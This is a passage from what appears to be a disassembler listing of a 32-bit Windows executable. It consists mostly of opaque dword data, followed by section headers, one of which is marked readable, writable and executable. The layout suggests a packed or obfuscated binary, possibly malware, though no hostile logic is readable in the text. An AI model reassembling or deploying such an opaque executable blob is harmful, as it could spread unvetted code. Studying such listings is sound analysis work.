6C547060h dd 6ED63A82h, 0F19167FEh, 3B5FEC3Bh, 0C8E98412h, 5704B3E4h dd 93345E12h, 0F9794EFEh, 0E24A1D37h, 0E297944Bh, 709B6E18h dd 0EAEDE7C8h, 0E08C3937h, 0CA9D5B61h, 1C94F8F1h, 3316B047h dd 0FBDB5995h, 26B96641h, 84F10453h, 7A35E6EBh, 0C6E78CD2h dd 0DF4F44B2h, 21CC6180h, 93BEFED2h, 8E375063h, 0C16ED0C8h dd 7A8914FAh, 7B6342B3h, 715C206Ah, 0D6CDBA03h, 2BE53E34h dd 0C4C31F04h, 0BCF81845h, 0DC1E7030h, 93560A0Dh, 539D6EBFh dd 8FC08B6Fh, 27039186h, 21B4673Ah, 2BB4E1B1h, 38C4D6CFh dd 7DAD397Dh, 0A88BDA16h, 0B1DA63A5h, 0CED2CCEAh, 0E1865FCAh dd 0D0530DE3h, 0AA65C3C4h, 0F00D8E8Bh, 85ED4773h, 2A0E7BF0h dd 6AC61375h, 3E256402h, 9B1F2510h, 0A4D2E3C8h, 26B23C7Dh dd 6E2AB38Bh, 89E1D9A2h dd 92F3D679h, 0A0F34B86h, 3BB273DDh, 4EB050F0h, 572956B0h dd 9345DF7h, 1E6D5DD7h, 2ED455FFh, 62955DB8h, 0F3EE0505h dd 38574301h, 60E0B24Bh, 6485BCE4h, 0A7FA82F7h, 0E4E27BB3h dd 6741DF36h, 439D774Eh, 46275C5h, 4DB900D2h, 0F3829492h dd 2FD73F98h, 8778A559h, 0A16B2633h, 0C2601106h, 7F3E821Eh dd 7A12C755h, 0F0166B1Ah, 0BBE47EF2h, 87D6886Dh, 3C788512h dd 869A8AA2h, 0A4ADE502h, 0CA9661A5h, 79F7A35Ah, 0DD3D488Fh dd 0CBA2F9B0h, 27F48086h, 4C72D68Eh, 27C61CB9h, 5349BC21h dd 0E44FB3F3h, 320ECEB6h, 0E1B10F60h, 8593D2Ah, 1C392BA9h dd 81AD141Ah, 89479265h, 9016893Ah, 143842D6h, 4ECFF42Ch dd 32D8E95Ah, 4DDAEFEDh, 0D913F802h, 11A7F728h, 0B24412F6h dd 9124ADC9h, 0E179C88Ah, 73E2AED0h, 0B72BF322h, 71008A5Eh dd 8CA5D3C3h, 0C9423A85h, 7D6C04BEh, 25F17A6h, 391FE0DEh dd 51ED4770h, 21128071h, 293B5D1h, 4413469h, 0C5D78BA7h dd 0CCE6F741h, 0FE732CCAh, 4C247D7Fh, 61D89CEBh, 56DE46Bh dd 0F770DFD4h, 70A2B41h, 0D7770744h, 24D8F4F0h, 0D47C9144h dd 3951F97Dh, 29592869h, 663ABA60h, 18F223D7h, 5B77F902h dd 8C9CFA69h, 0BD00E37h, 4DD8C4E7h, 229D253Bh, 2CD9A518h dd 802B698Fh, 0DA1B5B54h, 0C4CFA6B6h, 0D8D17BADh, 24D7AF0Ah dd 72F4F83Bh, 0D42ABF1Bh, 8E18A973h, 0B572807Ch, 0C9A53420h dd 1C7C3A78h, 0D1708224h, 0BC7AEC91h, 208037ACh, 0B87BC37Dh dd 8A3F6CFAh, 57122E75h, 0AB15CA75h, 0CDB3C678h, 0B858F49Bh dd 83946E37h, 0A2FDFD46h, 252F1AAEh, 868B2BA4h, 197B1D8h dd 0F98DE049h, 68B8A208h, 9BC091BFh, 82D341B6h, 0EB4AFA7Dh dd 35667808h, 0FD90B43Eh, 0AAF0AE7Ch, 62E5B4ECh, 338EF103h dd 5E75D32Ch, 0FCC442B2h, 0E743DEB7h, 96FF02CCh, 0BABC5579h dd 36BF1E58h, 0E462F03h, 0E4497369h, 0C6CBE616h, 0F2350478h dd 106B668Ch, 0AF5121D2h, 2010EC75h, 14667FE5h, 0DA9A2B4Bh dd 85F8BA3Dh, 0FFA1A0B7h, 124DD0F2h, 91A5285Fh, 0B8505A4h dd 69483C54h, 3F66C7E0h, 96CE7E98h, 9B15FFF3h, 0B454385Bh dd 0B83E755h, 48C4197Eh, 565581B3h, 142534C1h, 0E85C8A1Bh dd 1D903BEAh, 2C2C409Eh, 89E8028Ch, 0FB23D6EDh, 751726A7h dd 1F2D783Ah, 2A779872h, 0AEE0AFB8h, 9861322h, 0D1CA305Ah dd 2D168A5Ch, 0C8F73D66h, 3F1CFD29h, 0BC729AC3h, 5BEEFB71h dd 62CD880h, 0F66D0D74h, 870FAD3h, 6F4B952Ah, 5F225D15h dd 839FE8ACh, 0B5F4F9BAh, 4663AC72h, 0C6A57777h, 2BE94C1h dd 0B3C47C9Eh, 0C11E54F4h, 69FEEA22h, 8979C175h, 0EEB9AAFh dd 0A359B52Ah, 128D1049h, 6359AAE0h, 6064B187h, 0D72D27F9h dd 703B9D09h, 4F43D5AAh, 73F87A5Bh, 2445F849h, 0FE502B8Ch dd 5C9ECDD0h, 15B5C127h, 0AC957h, 35E9F3B7h, 0B0255FEDh dd 965FDA5Dh, 7D5DF261h, 8CE353A4h, 7D79AED6h, 251565E5h dd 787AED29h, 0B7D6EA8Ch, 1D645C0Ch, 736C3C5Eh, 0F8B7AA77h dd 5677FE44h, 0CE446076h, 0A530F9F3h, 4A979942h, 0AF2C22E0h dd 98CB3D58h, 771CA5FBh, 7D501940h, 21D63FEBh, 0E07D97ACh dd 6F9DCAFAh, 78B925A2h, 0D831A9EBh, 0DA95DD0Ch, 211A490Ah dd 139AFC79h, 4566EC70h, 9ED8C789h, 0FFBE35D8h, 0D24C306h dd 7E9B896h, 83E9BE18h, 96CD4C37h, 0B8322546h, 7A2A1CF8h dd 0A1870989h, 3C50C9DFh, 37D3DAACh, 0BD08B210h, 3817D02Ch dd 0B6D17F9Bh, 639CD7E2h, 0A0EB2047h, 0C855A89Bh, 46030F0h dd 0B1D633E2h, 2721E7EAh, 67A73DD7h, 0B0BE9149h, 4C0A1787h dd 56EE1DDCh, 0AAB409EEh, 0EB2496D2h, 7C730080h, 0DA7E2404h dd 8D014612h, 9E725C8Dh, 0C70A7ACCh, 0DDAD9C8Bh, 4D2BC63Eh dd 681EF770h, 7B196E12h, 0D15B3392h, 0B0D82B00h, 0A400706Eh dd 0FAE485h, 0EC9E7743h, 64F3AFB5h, 0EAA9D3D7h, 0E73DA73Ch dd 0E90B91A5h, 59AFFE0Dh, 0E021FD57h, 12BBB461h, 2BA5FF00h dd 474C1B90h, 3E25F85Ch, 870FC6AFh, 9A685C09h, 0E469DFD2h dd 0C2D37F52h, 9115726h, 0D3E20B5h, 88850572h, 4C299B4Ch dd 0A0E7564Ah, 0D7381ABEh, 2C039CBDh, 0B7D0963Ah, 0A4B0C4B5h dd 3FEF7C3h, 0C1161248h, 0A942F10Bh, 58664CF4h, 958DB1FBh dd 660DDC53h, 9B6F7159h, 3C27F092h, 0F632E9D1h, 0F6240FA7h dd 8623DCE0h, 0C8D557D8h, 0EB48B824h, 0BC6C8744h, 40B0BA53h dd 450E0492h, 54B46BADh, 46B827DBh, 4548CD65h, 0A69E4BFEh dd 3963EF0Ah, 1D11949Ch, 0C3C5CA67h, 8FDC4E09h, 0FBCD344Fh dd 0FEE2943Dh, 8CDAFCE8h, 485F195Ch, 423F9AD8h, 0D5B65B4Ch dd 0F7E9242Ah, 8A987E92h, 5C216873h, 0CC8AF3D7h, 0B45F0553h dd 6A11E424h, 0BF6860C9h, 8841CF58h, 0B9A700C2h, 7AA44B9Ah dd 0DED37193h, 2E6277B8h, 49FA790Ah, 8F4826E0h, 0B5D14505h dd 7F1A5358h, 0FC7FE4BFh, 0BBCAAE74h, 2677D7F1h, 0E2D9EA4h dd 5142A2DEh, 4AC6F527h, 41346509h, 1DC8A6B5h, 186FBA8Eh dd 0B7081266h, 0E8DC14F7h, 3B392B19h, 0CAF5F391h, 4FE912h dd 0FC9496FDh, 3BE9B44Bh, 0CA3EC6Dh, 6B9252A5h, 8B34DDE4h dd 18ABCDF6h, 92853667h, 0CA3AEBD1h, 5A89D2E4h, 0CA88AB20h dd 86C513E4h, 0A12FB638h, 8372A3EBh, 340B1A31h, 568055FEh dd 0FAE8BCFCh, 0F398FBE5h, 85587A45h, 1382AC56h, 8831EEE1h dd 954F9FE9h, 0EA602E12h, 0BD2E03C6h, 21328A37h, 9B11AA4Eh dd 23868885h, 0F93EA098h, 0EDB6D99Eh, 0CDBA1CBAh, 87D586FEh dd 6C101B1Eh, 0F47031FCh, 1CEC7E5Dh, 0C2E21BFCh, 267C86E1h dd 8676DB7Ah, 70100B05h, 82200E6Ah, 0E1F0496Ch, 167775DBh dd 0BC4EB5Eh, 58A63815h, 671349B6h, 559BF8CAh, 0C1FFFA92h dd 2039B4FFh, 0F8AA34h, 0E25BBE4Eh, 339C73B2h, 1F5DDB1Fh dd 0DAFE8997h, 0AE161813h, 166090B4h, 3F9A25AAh, 0B7978B6Fh dd 31CCD78Fh, 2C3AE573h, 9CFBB9E0h, 99A491D5h, 51281594h dd 0DD854D3Dh, 422B26A3h, 0E5BC420Ch, 0AA6781h, 0ECA5E8E7h dd 35A1E213h, 0BCC09FC9h, 493FD6DCh, 70C6838Ch, 42D55388h dd 0BBCAC18Ch, 14B6E054h, 883703EBh, 0B193D71Eh, 0DE2F0B6Bh dd 0B466D47Dh, 137150A9h, 55007A15h, 92F0DC4Ah, 41A904BFh dd 904C02F3h, 0EEE5D861h, 0E001FDFFh, 3C9E99C6h, 1627FAAh dd 9A3BB458h, 8D765F8Ah, 209787EDh, 52A32E70h, 0FA4CCACAh dd 0E95F31Ch, 165A837h, 4788D13Dh, 0B6AD1263h, 34F99C7Dh dd 2EA7CF1Ah, 5A6E1F5Ah, 0B4657073h, 6075DEDFh, 6DAC0972h dd 3F55D643h, 0A250F7A0h, 0B2EEEEBAh, 0C163DCh, 0E36D0EDCh dd 1676331Dh, 6A10209Fh, 3C640E62h, 34B70000h, 4584CCD3h dd 340008A4h, 2CAED5B2h, 1AF1C062h, 48EA4132h, 9B7A0BA4h dd 0B6729E73h, 7942E71Dh, 98A01C5Ch, 51112415h, 693B2DB7h dd 2764C3Bh, 0F0043F25h, 0A0CAAC39h, 0B8A386D9h, 0F87A5E1Fh dd 1BD9D136h, 0A1A3669Bh, 0DD087224h, 0A105E807h, 5E013448h dd 0A33C653Ch, 4A366606h, 0B54D0643h, 0F023F04Eh, 0A28901C5h dd 161C7A42h, 0CEB50961h, 6560A6A4h, 0B189C7B7h, 6C7C561Dh dd 0D77D725Fh, 20040145h, 72E96899h, 1961F8Fh, 7F72DFDBh dd 0C033A0F4h, 7DC3A92Ah, 7EDD6F76h, 0A89FFB41h, 95990F72h dd 0D53F548Eh, 0F4A63DC0h, 0D2FB69FAh, 0C1FAEA8h, 5A4E2684h dd 49D5D19Fh, 961DBCA5h, 1F92AADDh, 3456C190h, 0A792B5BAh dd 9E46139h, 0C85EE4E2h dd 45E29C2Eh, 0F3F2A059h, 35329440h, 7134E745h, 9953F000h dd 37B16D98h, 86934A03h, 5DBED67Ch, 0D88DAD00h, 10D70397h dd 3BF127B8h, 22545E1Bh, 0B5AB66B0h, 23714CA8h, 0D34569B8h dd 11A2A001h, 59AD4149h, 8D3A2383h, 8241DBA9h, 0AC602A85h dd 0DA29E9EAh, 5052406Eh, 9D08C7B0h, 13FEDEAEh, 0AAF880CBh dd 0C3E63078h, 0BD8DEA2h, 7057EA5Ch, 3EA886Ah, 6E93BA0h dd 0B4C03233h, 725DB379h, 5776DABCh, 6BBB5C09h, 0F6471F26h dd 0B1CDC52Eh, 0C8639360h, 0EFDF3028h, 0F243C7Dh, 26DCC50Ah dd 8D8303C7h, 0A4ABE0F7h, 8CEB4FABh, 96EA623Ch, 6B599E6Fh dd 20F21A25h, 0C3BF39C0h, 72E3FBBh, 1ECFEE0Ah, 0F0BDF63Fh dd 37FDE79Dh, 2B6AEA7Ch, 0CEE582B0h, 0AF2F3E9h, 0FF14422h dd 0D298CC9Ch, 7F5FD915h, 360CDD0Ah, 8585245Ch, 5D9C1297h dd 7B775AAFh, 85C3BFFBh, 54EE39B9h, 29F4A172h, 0CA8C40EFh dd 0BEC5D7BAh, 29610339h, 1660AECh, 9CD1886Ch, 0CE5F8217h dd 15BDBA96h, 90B072B2h, 0BD01E614h, 382E2EE4h, 0F941487Dh dd 0CD3D8A8Ch, 209B05Ch, 86D2462Ah, 0FC382EB8h, 71CD7A8Bh dd 0B9BED270h, 0B69C2950h, 0F2AB7C62h, 5F2FD03Ch, 1F89BB65h dd 0AF3E1556h, 0D610BD15h, 1AE376D9h, 0C51A4E66h, 0AE7A19FAh dd 32F8E818h, 33D99C76h, 0C11D4E5h, 0B4D603F2h, 93C65494h dd 0B91AA932h, 8AB9E9CCh, 0FA485115h, 0F9579FC0h, 0AD733168h dd 84B16DABh, 60E4238Bh, 48B4A515h, 6830D9DDh, 569C75EBh dd 0D9962703h, 0B1C77174h, 15C256F2h, 0E7D23AFCh, 0E2C68EDCh dd 2E052766h, 1D7650D5h, 1A110983h, 0EC0EF75Dh, 0E31FF73Eh dd 962359ACh, 3A2C3390h, 0D0EA63DAh, 0A0B6114Fh, 0B5D4DACAh dd 6CBCFEC5h, 3B6921F0h, 40088D1Ch, 3F8409DEh, 22CE9492h dd 22D8C1ABh, 229D6287h, 0F3C3CC21h, 8696F458h, 2F7705BDh dd 97FE5103h, 46BB986h, 0EC1CDFA3h, 3327CDA9h, 5560DABDh dd 7C51F9EEh, 46EBCD55h, 951A0DF8h, 0E15528D7h, 0BAEF4356h dd 8AC9D8D6h, 0C483B264h, 57B0190h, 0D81FBE01h, 2D5DB04Ah dd 0A248A10Bh, 3930B877h, 1FBC01B2h, 8CE287B5h, 0F9AF9B9Dh dd 1C3D1E97h, 7562F6D6h, 61DD0739h, 0EA0E3290h, 0DC896DAFh dd 0D013D4B5h, 2DC5393Ch, 5B7EB94Ch, 0ACC93F5Ah, 0A4E606A3h dd 0ABB77F99h, 6889335Ah, 2F2E7744h, 52C4212Dh, 46257ED8h dd 0D5DA4299h, 0EA173756h, 9A09D14Eh, 7B850E55h, 7BED1A6Ch dd 0B7BFC9EBh, 0C3CCE9Ah, 57062B71h, 300h dup(0) _data ends ; Section 5. (virtual address 0007B000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 0007B000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _adata segment para public 'CODE' use32 assume cs:_adata ;org 47B000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing align 2000h _adata ends ; Section 6. (virtual address 0007C000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0007C000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 47C000h dd 80h dup(0) align 1000h _idata2 ends end start